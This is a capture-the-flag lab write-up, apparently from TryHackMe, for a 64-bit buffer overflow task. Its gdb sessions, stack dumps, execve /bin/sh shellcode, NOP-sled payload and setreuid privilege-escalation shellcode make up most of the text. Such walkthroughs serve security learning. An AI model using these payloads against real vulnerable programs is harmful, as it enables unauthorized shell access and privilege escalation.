Skip to content

THM - Buffer Overflow - T8

Finding the offset

gdb buffer-overflow
(gdb) run $(python -c "print('A'*155)") #--> 0x0000000000414141
(gdb) run $(python -c "print('A'*156)") #--> 0x0000000041414141
(gdb) run $(python -c "print('A'*157)") #--> 0x0000004141414141
(gdb) run $(python -c "print('A'*158)") #--> 0x0000414141414141

158 is the right amount, which override perfectly the return address with 6 bytes.

So we know that with 158 bytes we override the 6-bytes-long return address. It means our offset to reach the start of the return address is 158-6 = 152

Picking a shell code

\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

This shell code is 40 bytes

Finding the address of the shell code

Our payload will be 158 bytes in total : 152 to fill the buffer and 6 to override the return address pointing to the address of the shell code in the buffer.

PAYLOAD = JUNK(100 bytes) + SHELL CODE (40 bytes) + JUNK (12 byes) + RETURN ADDRESS (6 bytes).

Let's fill the junk with 'A's for now, and our return address with 6*'B'

gdb buffer-overflow
(gdb) run $(python -c "print 'A'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + 'B'*6")

We will now examine the dump of the hex code with the command x/100x $rsp-200 which dumps 100*4 bytes from memory location $rsp -200 bytes.

(gdb) x/100x $rsp-200
0x7fffffffe8d8: 0x00400450      0x00000000      0xffffea90      0x00007fff
0x7fffffffe8e8: 0x00400561      0x00000000      0xf7dce8c0      0x00007fff
0x7fffffffe8f8: 0xffffecf8      0x00007fff   (!)0x41414141      0x41414141 <--- start of the buffer
0x7fffffffe908: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe918: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe928: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe938: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe948: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe958: 0x41414141      0x41414141      0x41414141   (!)0x48583b6a <--- start of the shellcode
0x7fffffffe968: 0xb849d231      0x69622f2f      0x68732f6e      0x08e8c149
0x7fffffffe978: 0x89485041      0x485752e7      0x050fe689      0x48583c6a

To calculate the exact address where the shell code starts

Add 4 bytes per column. Our shell code is 3 columns further so you need to add 34= 12 bytes to that address. In hex 12 is 0xC, you need to do 0x7fffffffe958 + 0xC = 0x7FFFFFFFE964*

NOPs

Instead of filling the junk before the shell code with 'A' we fill it with NOPs (\x90).

Let's replace the 'A's with NOPs and dump our hex again.

(gdb) run $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + 'B'*6")
(gdb) x/100x $rsp-200
0x7fffffffe8d8: 0x00400450      0x00000000      0xffffea90      0x00007fff
0x7fffffffe8e8: 0x00400561      0x00000000      0xf7dce8c0      0x00007fff
0x7fffffffe8f8: 0xffffecf8      0x00007fff   (!)0x90909090      0x90909090 <----- Nops start here
0x7fffffffe908: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe918: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe928: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe938: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe948: 0x90909090      0x90909090      0x90909090      0x90909090 <----- The address I pic
0x7fffffffe958: 0x90909090      0x90909090      0x90909090   (!)0x48583b6a <----- shellcode
0x7fffffffe968: 0xb849d231      0x69622f2f      0x68732f6e      0x08e8c149
...

You can now just pick any address as long as its in the NOPS, I'll pick 0x7fffffffe948.

We need to convert it to little endian: 0x7fffffffe948 becomes 0x48e9ffffff7f and eventually \x48\xe9\xff\xff\xff\x7f

./buffer-overflow $(python -c "print '\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + '\x48\xe9\xff\xff\xff\x7f'")

WE HAVE SHELL - but not as root

Shellcode with setreuid

1002 = user2 UUID

$pwn shellcraft -f d amd64.linux.setreuid 1002   #--> http://docs.pwntools.com/en/stable/

setreuid 1002 = \x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

./buffer-overflow $(python -c "print '\x90'*86+'\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + '\x48\xe9\xff\xff\xff\x7f'")